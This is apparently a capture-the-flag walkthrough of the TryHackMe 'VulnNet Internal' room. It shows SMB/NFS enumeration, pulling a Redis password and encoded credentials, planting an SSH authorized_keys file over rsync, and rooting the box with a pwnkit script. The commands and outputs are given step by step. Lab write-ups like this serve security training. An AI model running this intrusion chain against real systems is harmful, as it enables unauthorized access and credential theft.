

VulnNet Internal

VulnNet Internal

<https://tryhackme.com/room/vulnnetinternal>

```
rustscan -a 10.10.107.74 -- -sC -sV -A | tee scan.txt
```

Open 10.10.107.74:22

Open 10.10.107.74:111

Open 10.10.107.74:139

Open 10.10.107.74:445

Open 10.10.107.74:873

Open 10.10.107.74:2049

Open 10.10.107.74:6379

Open 10.10.107.74:33299

Open 10.10.107.74:38063

Open 10.10.107.74:41287

Open 10.10.107.74:43161

Open 10.10.107.74:58485

```
enum4linux 10.10.107.74
```

Found shares folder, with possible listing

```
Sharename      Type      Comment
-----
print$         Disk      Printer Drivers
shares         Disk      VulnNet Business Shares
IPC$           IPC       IPC Service (vulnnet-internal server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

Server          Comment
-----
Workgroup        Master
WORKGROUP

[+] Attempting to map shares on 10.10.107.74
//10.10.107.74/print$ Mapping: DENIED Listing: N/A Writing: N/A
//10.10.107.74/shares Mapping: OK Listing: OK Writing: N/A
```

```
smbclient //10.10.107.74/shares
```

download all files from shares

```

~ > smbclient //10.10.107.74/shares
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls -la
NT_STATUS_NO_SUCH_FILE listing \-la
smb: \> ls
.                D            0   Tue Feb  2 09:20:09 2021
..               D            0   Tue Feb  2 09:28:11 2021
temp             D            0   Sat Feb  6 11:45:10 2021
data             D            0   Tue Feb  2 09:27:33 2021

11309648 blocks of size 1024. 3276588 blocks available
smb: \> cd temp
smb: \temp\> ls
.                D            0   Sat Feb  6 11:45:10 2021
..               D            0   Tue Feb  2 09:20:09 2021
services.txt     N           38   Sat Feb  6 11:45:09 2021

11309648 blocks of size 1024. 3276588 blocks available
smb: \temp\> get services.txt
getting file \temp\services.txt of size 38 as services.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \temp\> cd ..
smb: \> ls
.                D            0   Tue Feb  2 09:20:09 2021
..               D            0   Tue Feb  2 09:28:11 2021
temp             D            0   Sat Feb  6 11:45:10 2021
data             D            0   Tue Feb  2 09:27:33 2021

11309648 blocks of size 1024. 3276588 blocks available
smb: \> cd data
smb: \data\> ls
.                D            0   Tue Feb  2 09:27:33 2021
..               D            0   Tue Feb  2 09:20:09 2021
data.txt         N           48   Tue Feb  2 09:21:18 2021
business-req.txt N          190   Tue Feb  2 09:27:33 2021

11309648 blocks of size 1024. 3276588 blocks available
smb: \data\> get data.txt

```

the first flag in services.txt

```

business-req.txt data.txt scan.txt services.txt
~/THM/vulnet > cat services.txt
THM{
~/THM/vulnet >

```

I try to found how to exploit some services on *hacktrick.xyz*!

I found interesting information

https://book.hacktricks.xyz/network-services-pentesting/pentesting-rpcbind

Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

Tricks

100021	2	tcp	0.0.0.0.4.3	nlockmgr	unknown
100021	1	udp	0.0.0.0.2.175	nlockmgr	unknown
100021	3	udp	0.0.0.0.2.175	nlockmgr	unknown
100021	1	tcp	0.0.0.0.2.175	nlockmgr	unknown
100021	3	tcp	0.0.0.0.2.175	nlockmgr	unknown

Shodan

- port:111 portmap

RPCBind + NFS

If you find the service NFS then probably you will be able to list and download(and maybe upload) files:

100003	3	tcp	0.0.0.0.8.1	nfs
100003	4	tcp	0.0.0.0.8.1	nfs
100227	3	tcp	0.0.0.0.8.1	-
100003	3	udp	0.0.0.0.8.1	nfs
100003	4	udp	0.0.0.0.8.1	nfs

Read 2049 - Pentesting NFS service to learn more about how to test this protocol.

```

111/tcp open rpcbind      syn-ack 2-4 (RPC #100000)
| rpcinfo:
|   program version      port/proto  service
|   100000  2,3,4        111/tcp    rpcbind
|   100000  2,3,4        111/udp    rpcbind
|   100000  3,4          111/tcp6   rpcbind
|   100000  3,4          111/udp6   rpcbind
|   100003  3            2049/udp   nfs
|   100003  3            2049/udp6  nfs
|   100003  3,4          2049/tcp   nfs
|   100003  3,4          2049/tcp6  nfs
|   100005  1,2,3        33299/tcp  mountd
|   100005  1,2,3        44163/udp  mountd
|   100005  1,2,3        45728/udp6 mountd
|   100005  1,2,3        46415/tcp6 mountd
|   100021  1,3,4        38322/udp6 nlockmgr
|   100021  1,3,4        43161/tcp  nlockmgr
|   100021  1,3,4        44683/tcp6 nlockmgr
|   100021  1,3,4        57828/udp  nlockmgr
|   100227  3            2049/tcp   nfs_acl
|   100227  3            2049/tcp6  nfs_acl
|   100227  3            2049/udp   nfs_acl
|   100227  3            2049/udp6  nfs_acl
|_

```

```
showmount -e 10.10.107.74
```

```

~ ▶ showmount -e 10.10.107.74
Export list for 10.10.107.74:
/opt/conf *
~ ▶ ls

```

Now I have A lot of folders to enumerate)

```

~/THM/vulnet ▶ sudo mount -t nfs 10.10.107.74:opt/conf shared
[sudo] password for kali:
~/THM/vulnet ▶ ls
business-req.txt  data.txt  scan.txt  services.txt  shared
~/THM/vulnet ▶ cd shared/
~/THM/vulnet/shared ▶ ls -la
total 36
drwxr-xr-x 9 root root 4096 Feb  2  2021 .
drwxr-xr-x 3 kali kali 4096 Aug 30 17:40 ..
drwxr-xr-x 2 root root 4096 Feb  2  2021 hp
drwxr-xr-x 2 root root 4096 Feb  2  2021 init
drwxr-xr-x 2 root root 4096 Feb  2  2021 opt
drwxr-xr-x 2 root root 4096 Feb  2  2021 profile.d
drwxr-xr-x 2 root root 4096 Feb  2  2021 redis
drwxr-xr-x 2 root root 4096 Feb  2  2021 vim
drwxr-xr-x 2 root root 4096 Feb  2  2021 wildmidi
~/THM/vulnet/shared ▶

```

```
grep -iRc password
```

```
~/THM/vulnet/shared > grep -iRc password
profile.d/input-method-config.sh:0
profile.d/cedilla-portuguese.sh:0
profile.d/vte-2.91.sh:0
profile.d/bash_completion.sh:0
vim/vimrc:0
vim/vimrc.tiny:0
redis/redis.conf:6
wildmidi/wildmidi.cfg:0
init/anacron.conf:0
init/lightdm.conf:0
init/whoopsie.conf:0
hp/hplip.conf:0
```

but to find password I need to 'grep' pass:

```
~/THM/vulnet/shared/redis > cat redis.conf | grep pass
# 2) No password is configured.
# If the master is password protected (using the "requirepass" configuration
# masterauth <master-password>
requirepass "
# resync is enough, just passing the portion of data the slave missed while
# 150k passwords per second against a good box. This means that you should
# use a very strong password otherwise it will be very easy to break.
# requirepass foobared
~/THM/vulnet/shared/redis > █
```

Now login to redis database:

```
redis-cli -h 10.10.107.74
```

Here is the second flag

```
10.10.107.74:6379[6]> SELECT 0
OK
10.10.107.74:6379> KEYS *
1) "tmp"
2) "internal flag"
3) "authlist"
4) "marketlist"
5) "int"
10.10.107.74:6379> GET internal flag
(error) ERR wrong number of arguments for 'get' command
10.10.107.74:6379> GET "internal flag"
THM{
10.10.107.74:6379> GET "tmp"
"temp dir ..."
10.10.107.74:6379> GET "authlist"
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.10.107.74:6379> GET "marketlist"
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.10.107.74:6379> GET "int"
"10 20 30 40 50"
10.10.107.74:6379> GET "authlist"
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.10.107.74:6379> █
```

Good site to learn redis lists

<https://redis.io/docs/data-types/lists>

I found more creds

```
10.10.107.74:6379> KEYS *
1) "tmp"
2) "internal flag"
3) "authlist"
4) "marketlist"
5) "int"
10.10.107.74:6379> GET internal flag
(error) ERR wrong number of arguments for 'get' command
10.10.107.74:6379> GET "internal flag"
"THM{ff8e518addbddd74531a724236a8221}"
10.10.107.74:6379> GET "tmp"
"temp dir ..."
10.10.107.74:6379> GET "authlist"
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.10.107.74:6379> GET "marketlist"
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.10.107.74:6379> GET "int"
"10 20 30 40 50"
10.10.107.74:6379> GET "authlist"
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.10.107.74:6379> TYPE "authlist"
list
10.10.107.74:6379> LRANGE "authlist"
(error) ERR wrong number of arguments for 'lrange' command
10.10.107.74:6379> LIST "authlist"
(error) ERR unknown command 'LIST'
10.10.107.74:6379> LRANGE "authlist" 0-5
(error) ERR wrong number of arguments for 'lrange' command
10.10.107.74:6379> LRANGE "authlist" 0-1
(error) ERR wrong number of arguments for 'lrange' command
10.10.107.74:6379> LRANGE "authlist" 0- 1
(error) ERR value is not an integer or out of range
10.10.107.74:6379> LLEN "authlist"
(integer) 4
10.10.107.74:6379> LRANGE "authlist" 1-4
(error) ERR wrong number of arguments for 'lrange' command
10.10.107.74:6379> LRANGE "authlist" 1 4
1) "QXV0aG9yaXphdGlvb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
2) "QXV0aG9yaXphdGlvb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
3) "QXV0aG9yaXphdGlvb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
```

I found shared folder by using msfconsole

```
msf6 > use auxiliary/scanner/rsync/modules_list
msf6 auxiliary(scanner/rsync/modules_list) > options

Module options (auxiliary/scanner/rsync/modules_list):

  Name           Current Setting  Required  Description
  ----           -
  RHOSTS          10.10.107.74    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-the-Module
  RPORT           873             yes       The target port (TCP)
  TEST_AUTHENTICATION true            yes       Test if the rsync module requires authentication
  THREADS         1               yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/rsync/modules_list) > set RHOSTS 10.10.107.74
RHOSTS => 10.10.107.74
msf6 auxiliary(scanner/rsync/modules_list) > set THREADS 10
THREADS => 10
msf6 auxiliary(scanner/rsync/modules_list) > run

[+] 10.10.107.74:873 - 1 rsync modules found: files
[*] 10.10.107.74:873 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/rsync/modules_list) >
```

I connect to rsync , and try to download files

```
rsync -av rsync://rsync-connect@10.10.107.74:873/files .
```

here is user.txt

```

sys-internal/.ssh/
sys-internal/.thumbnails/
sys-internal/.thumbnails/large/
sys-internal/.thumbnails/normal/
sys-internal/.thumbnails/normal/2b53c68a980e4c943d2853db2510acf6.png
sys-internal/.thumbnails/normal/473aeca0657907b953403884c53d865c.png
sys-internal/.thumbnails/normal/539380d1cb60fcd744fd5094d314fdc1.png
sys-internal/Desktop/
sys-internal/Documents/
sys-internal/Downloads/
sys-internal/Music/
sys-internal/Pictures/
sys-internal/Public/
sys-internal/Templates/
sys-internal/Videos/

sent 28,088 bytes received 41,851,883 bytes 1,009,155.93 bytes/sec
total size is 41,708,382 speedup is 1.00
~/THM/vulnet > ls
business-req.txt data.txt scan.txt services.txt shared sys-internal
~/THM/vulnet > cd sys-internal/
~/THM/vulnet/sys-internal > ls
desktop Documents Downloads Music Pictures Public Templates user.txt Videos
~/THM/vulnet/sys-internal > cat user.txt
THM{
~/THM/vulnet/sys-internal >

```

Here is .ssh folder, we can try to create our ssh key. Ide from hacktricks

<https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync>

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```
rsync -av --list-only rsync://192.168.0.123/shared_name
```

And **copy** all files to your local machine via the following command:

```
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```

This **recursively transfers all files from the directory** `<shared_name>` on the machine `<IP>` into the `./rsyn_shared` directory on the local machine. The files are transferred in "archive" mode, which ensures that symbolic links, devices, attributes, permissions, ownerships, etc. are preserved in the transfer.

If you **have credentials** you can **list/download** a **shared name** using (the password will be prompted):

```
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```

You could also **upload** some **content** using rsync (for example, in this case we can upload an **authorized_keys** file to obtain access to the box):

```
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```

ssh-keygen

Do not forget chmod 400

```
rsync -av /home/kali/THM/vulnet/id_rsa.pub rsync://rsync-
connect@10.10.107.74/files/sys-internal/.ssh/authorized_keys
```

and go ssh

```
ssh -i id_rsa sys-internal@10.10.107.74
```

To escalate privileges I use pwnkit python script!

And final flag in root's directory

```
sys-internal@vulnnet-internal:/tmp$ python3 pwnkit.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(sys-internal) groups=1000(sys-internal),24(cdrom)
# cd /root
# ls -la
total 44
drwx----- 8 root root 4096 Feb 6 2021 .
drwxr-xr-x 24 root root 4096 Feb 6 2021 ..
drwxr-x--- 6 root root 4096 Aug 30 18:08 .BuildServer
lrwxrwxrwx 1 root root    9 Feb 1 2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx----- 2 root root 4096 Feb 6 2021 .cache
drwx----- 4 root root 4096 Feb 6 2021 .config
drwx----- 3 root root 4096 Feb 6 2021 .dbus
drwxr-xr-x 3 root root 4096 Feb 2 2021 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
lrwxrwxrwx 1 root root    9 Feb 2 2021 .rediscli_history -> /dev/null
drwx----- 4 root root 4096 Feb 6 2021 .thumbnails
-rw----- 1 root root   38 Feb 6 2021 root.txt
# cat root.txt
THM{
#
```